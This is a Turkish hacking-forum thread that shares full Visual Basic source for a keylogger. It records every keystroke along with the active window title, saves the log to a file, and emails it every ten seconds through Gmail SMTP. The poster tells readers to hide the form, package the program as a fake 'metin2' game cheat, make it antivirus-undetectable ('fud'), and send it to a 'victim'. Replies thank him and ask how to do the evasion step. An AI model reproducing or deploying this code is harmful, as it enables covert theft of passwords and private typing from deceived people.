Server Oluşturmalı Keylogger :S

bu konu acmıstın zaten

al bu kodlarla dene bide .. Çalışıyor..
2 tane texbox yap 3 tane timer
timer1 in invertal i 5
timer2 in invertal i 1000
timer3 un invertal i 10000 olsun..
Texboxların visible = false yap gözükmez
ve texboxu boş bırak form üzerine sağ tıkla wiew code ' ye tıkla kodları kopyala yapıştır.. g mail yazan yer var oraya kendi g mail yaz altınıda şifresini yaz.. bide boş bir g mail aç onunda onun altına yaz zaten ne yapman gerekli kod kısmındada yazıyor..
sonra texboxları sakla nasıl mı ? formu uzat yani aç ta köşeye at gözükmesin
sonra
command ekle ... mesela metin2 hile için tıkla yaz
sonra
command üstüne 3 kere tıkla yazılacak yer cıkıcak
bunu yaz Me.hide
metin2.exe olarak çıkart sonra fudlayıp kurbana yolla.. bi teşekkür

3 adet timer olacak..
timer1 in invertal i 5
timer2 in invertal i 1000
timer3 un invertal i 10000 olsun..
--------------------------------------------------------------------------
2 adetta textbox olacak..
textboxların visible = false yaparsanız gorunmez sorun yaratmaz.. ^^


Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize As Long) As Long

Private LastWindow As String
Private LastHandle As Long
Private dKey(255) As Long
Private Const VK_SHIFT = &H10
Private Const VK_CTRL = &H11
Private Const VK_ALT = &H12
Private Const VK_CAPITAL = &H14
Private ChangeChr(255) As String
Private AltDown As Boolean




Private Sub Form_Load()


On Error Resume Next

ChangeChr(33) = "[PageUp]"
ChangeChr(34) = "[PageDown]"
ChangeChr(35) = "[End]"
ChangeChr(36) = "[Home]"

ChangeChr(45) = "[Insert]"
ChangeChr(46) = "[Delete]"

ChangeChr(48) = "="
ChangeChr(49) = "!"
ChangeChr(50) = "'"
ChangeChr(51) = "^"
ChangeChr(52) = "+"
ChangeChr(53) = "%"
ChangeChr(54) = "&"
ChangeChr(55) = "/"
ChangeChr(56) = "("
ChangeChr(57) = ")"

ChangeChr(186) = "ş"
ChangeChr(187) = "="
ChangeChr(188) = ","
ChangeChr(189) = "-"
ChangeChr(190) = "."
ChangeChr(191) = "ö"

ChangeChr(219) = "ğ"
ChangeChr(220) = "ç"
ChangeChr(221) = "ü"
ChangeChr(222) = "i"


ChangeChr(86) = "Ş"
ChangeChr(87) = "+"
ChangeChr(88) = ";"
ChangeChr(89) = "_"
ChangeChr(90) = ":"
ChangeChr(91) = "?"

ChangeChr(119) = "Ğ"
ChangeChr(120) = "Ç"
ChangeChr(121) = "Ü"
ChangeChr(122) = "İ"


ChangeChr(96) = "0"
ChangeChr(97) = "1"
ChangeChr(98) = "2"
ChangeChr(99) = "3"
ChangeChr(100) = "4"
ChangeChr(101) = "5"
ChangeChr(102) = "6"
ChangeChr(103) = "7"
ChangeChr(104) = "8"
ChangeChr(105) = "9"
ChangeChr(106) = "*"
ChangeChr(107) = "+"
ChangeChr(109) = "-"
ChangeChr(110) = "."
ChangeChr(111) = "/"

ChangeChr(192) = """"
ChangeChr(92) = "é"
End Sub

Function TypeWindow()
Dim Handle As Long
Dim textlen As Long
Dim WindowText As String

Handle = GetForegroundWindow
LastHandle = Handle
textlen = GetWindowTextLength(Handle) + 1

WindowText = Space(textlen)
svar = GetWindowText(Handle, WindowText, textlen)
WindowText = Left(WindowText, Len(WindowText) - 1)

If WindowText <> LastWindow Then
If text1 <> "" Then text1 = text1 & vbCrLf & vbCrLf
text1 = text1 & "==============================" & vbCrLf & WindowText & vbCrLf & "==============================" & vbCrLf
LastWindow = WindowText
End If
End Function







Private Sub Timer1_Timer()

'when alt is up
If GetAsyncKeyState(VK_ALT) = 0 And AltDown = True Then
AltDown = False
text1 = text1 & ""
End If

'a-z A-Z
For i = Asc("A") To Asc("Z")
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_SHIFT) < 0 Then
If GetKeyState(VK_CAPITAL) > 0 Then
text1 = text1 & LCase(Chr(i))
Exit Sub
Else
text1 = text1 & UCase(Chr(i))
Exit Sub
End If
Else
If GetKeyState(VK_CAPITAL) > 0 Then
text1 = text1 & UCase(Chr(i))
Exit Sub
Else
text1 = text1 & LCase(Chr(i))
Exit Sub
End If
End If

End If
Next

'1234567890)(*&^%$#@!
For i = 48 To 57
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_SHIFT) < 0 Then
text1 = text1 & ChangeChr(i)
Exit Sub
Else
text1 = text1 & Chr(i)
Exit Sub
End If

End If
Next


';=,-./
For i = 186 To 192
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_SHIFT) < 0 Then
text1 = text1 & ChangeChr(i - 100)
Exit Sub
Else
text1 = text1 & ChangeChr(i)
Exit Sub
End If

End If
Next


'[\]'
For i = 219 To 222
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_SHIFT) < 0 Then
text1 = text1 & ChangeChr(i - 100)
Exit Sub
Else
text1 = text1 & ChangeChr(i)
Exit Sub
End If

End If
Next

'num pad
For i = 96 To 111
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_ALT) < 0 And AltDown = False Then
AltDown = True
text1 = text1 & ""
Else
If GetAsyncKeyState(VK_ALT) >= 0 And AltDown = True Then
AltDown = False
text1 = text1 & ""
End If
End If

text1 = text1 & ChangeChr(i)
Exit Sub
End If
Next

'for space
If GetAsyncKeyState(32) = -32767 Then
TypeWindow
text1 = text1 & " "
End If

'for enter
If GetAsyncKeyState(13) = -32767 Then
TypeWindow
text1 = text1 & vbCrLf
End If

'for backspace
If GetAsyncKeyState(8) = -32767 Then
TypeWindow
text1 = text1 & " "
End If

'for left arrow
If GetAsyncKeyState(37) = -32767 Then
TypeWindow
text1 = text1 & ""
End If

'for up arrow
If GetAsyncKeyState(38) = -32767 Then
TypeWindow
text1 = text1 & ""
End If

'for right arrow
If GetAsyncKeyState(39) = -32767 Then
TypeWindow
text1 = text1 & ""
End If

'for down arrow
If GetAsyncKeyState(40) = -32767 Then
TypeWindow
text1 = text1 & ""
End If

'tab
If GetAsyncKeyState(9) = -32767 Then
TypeWindow
text1 = text1 & " [Tab] "
End If

'escape
If GetAsyncKeyState(27) = -32767 Then
TypeWindow
text1 = text1 & " [Esc] "
End If

'insert, delete
For i = 45 To 46
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
text1 = text1 & ChangeChr(i)
End If
Next

'page up, page down, end, home
For i = 33 To 36
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
text1 = text1 & ChangeChr(i)
End If
Next

'left click
If GetAsyncKeyState(1) = -32767 Then
If (LastHandle = GetForegroundWindow) And LastHandle <> 0 Then
text1 = text1 & " "
End If
End If

End Sub




Private Sub Timer2_Timer()
On Error Resume Next


text2.Text = "c:\Keylogger.txt"
Open text2.Text For Output As #1
Print #1, text1.Text;
Close #1
End Sub






Private Sub Timer3_Timer()
Dim iMsg, iConf, Flds
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields

schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = "G-MAILINIZI YAZIN"
Flds.Item(schema & "sendpassword") = "G-MAILINIZIN SIFRESINI YAZIN"
Flds.Item(schema & "smtpusessl") = 1
Flds.Update

With iMsg
.To = "G-MAILINIZI YAZIN"
.From = "FARKLI BI G-MAIL YAZIN"
.Subject = "KeyloG"
.HTMLbOdy = text1.Text
.Organization = "Mail Organtion"
.ReplyTo = "-"
Set .Configuration = iConf
SendEmailGmail = .Send
End With
End Sub

İşin Ras Gelsin Kardeşim ellerine sağlık

Bunu nasıl fudlayacaz ?? vb ye yeni başladım :S

ellerine sağlık sağol dostum..